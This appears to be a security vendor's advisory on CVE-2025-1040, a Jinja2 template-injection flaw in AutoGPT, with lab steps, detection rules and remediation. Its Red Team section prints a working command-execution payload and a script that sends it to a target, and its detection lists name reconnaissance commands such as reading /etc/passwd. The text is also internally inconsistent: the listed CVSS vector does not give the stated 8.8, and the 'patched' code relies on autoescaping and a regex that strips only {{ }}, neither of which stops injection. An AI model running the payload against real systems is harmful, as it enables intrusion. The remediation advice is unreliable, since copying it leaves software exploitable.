CVE-2025-1040

Executive Summary

CVE-2025-1040 is a critical Server-Side Template Injection (SSTI) vulnerability in AutoGPT versions 0.3.4 and earlier, leading to Remote Code Execution (RCE). The flaw exists in the AgentOutputBlock implementation, where user-supplied format strings are passed to the Jinja2 templating engine without proper sanitization. An attacker can inject malicious template expressions to execute arbitrary commands on the host system. The vulnerability has a CVSS score of 8.8 (High) and is publicly known, though no exploit code has been published yet. The patch is available in version 0.4.0.

Supply Chain & Package Security

This vulnerability affects the AutoGPT Python package, which is distributed via PyPI. Users should verify their installed version and update to 0.4.0 or later. The package is widely used in AI agent workflows, making it a high-value target for supply chain attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. The combination of network exploitability, low complexity, and no authentication makes this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability resides in the AgentOutputBlock class, which processes user-provided format strings for output generation. The code uses Jinja2's Template class to render these strings without enabling sandboxing or sanitization. An attacker can inject Jinja2 template syntax, such as {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}, to execute arbitrary system commands.

The root cause is the lack of input validation and the use of Jinja2's Template in an unsafe manner. The fix in version 0.4.0 involves using Template with autoescape=True and implementing strict input filtering.

Vulnerable vs. Patched Code

Vulnerable Code (0.3.4):

from jinja2 import Template

class AgentOutputBlock:
    def render(self, user_input: str) -> str:
        template = Template(user_input)
        return template.render()

Patched Code (0.4.0):

from jinja2 import Template, Environment

class AgentOutputBlock:
    def __init__(self):
        self.env = Environment(autoescape=True)
    
    def render(self, user_input: str) -> str:
        # Sanitize input to prevent SSTI
        sanitized = self._sanitize(user_input)
        template = self.env.from_string(sanitized)
        return template.render()
    
    def _sanitize(self, input_str: str) -> str:
        # Remove dangerous Jinja2 constructs
        import re
        return re.sub(r'\{\{.*?\}\}', '', input_str)

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable AutoGPT: pip install autogpt==0.3.4
2. Start the agent with default settings.
3. Send a malicious format string via the agent's input interface.

Exploit Payload:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Full Exploit Script:

import requests

target_url = "http://target:8000/agent/input"
payload = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
response = requests.post(target_url, json={"input": payload})
print(response.text)

Blue Team

Detection Steps:

1. Monitor for requests containing {{ or {% in input fields.
2. Check for unexpected process execution (e.g., id, whoami, cat /etc/passwd).
3. Review logs for Jinja2 template rendering errors.

Honeypot Setup:

• Deploy a decoy AutoGPT instance with logging enabled.
• Alert on any template syntax in input.

Indicators of Compromise (IOCs)

• Network: POST requests to /agent/input with payloads containing {{ or {%.
• File System: Unexpected files in /tmp/ or /var/tmp/ created by the autogpt user.
• Process: Execution of id, whoami, cat /etc/passwd, or other reconnaissance commands.
• Logs: Jinja2 TemplateNotFound or UndefinedError exceptions in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_1040_SSTI_AutoGPT {
    meta:
        description = "Detects SSTI payloads targeting AutoGPT CVE-2025-1040"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-1040"
    strings:
        $ssti1 = "{{ config.__class__.__init__.__globals__['os'].popen("
        $ssti2 = "{{ self.__init__.__globals__['os'].popen("
        $ssti3 = "{{ ''.__class__.__mro__[1].__subclasses__()"
        $ssti4 = "{{ cycler.__init__.__globals__.os.popen("
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-1040 AutoGPT SSTI Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SSTI payloads in AutoGPT agent input
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains: '/agent/input'
        cs-method: 'POST'
        cs-request-body|contains: 
            - '{{'
            - '{%'
    condition: selection
falsepositives:
    - Legitimate use of Jinja2 templates in non-agent contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1040 AutoGPT SSTI Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/agent/input"; http_uri; content:"{{"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to AutoGPT version 0.4.0 or later.
2. Workaround: If upgrade is not possible, implement a WAF rule to block requests containing {{ or {% in input fields.
3. Code Fix: Use Jinja2's Environment with autoescape=True and sanitize all user input before template rendering.
4. Monitoring: Enable detailed logging for all agent input and monitor for suspicious patterns.
5. Network Segmentation: Isolate AutoGPT instances from critical systems.

Valters IT – Securing your digital frontier.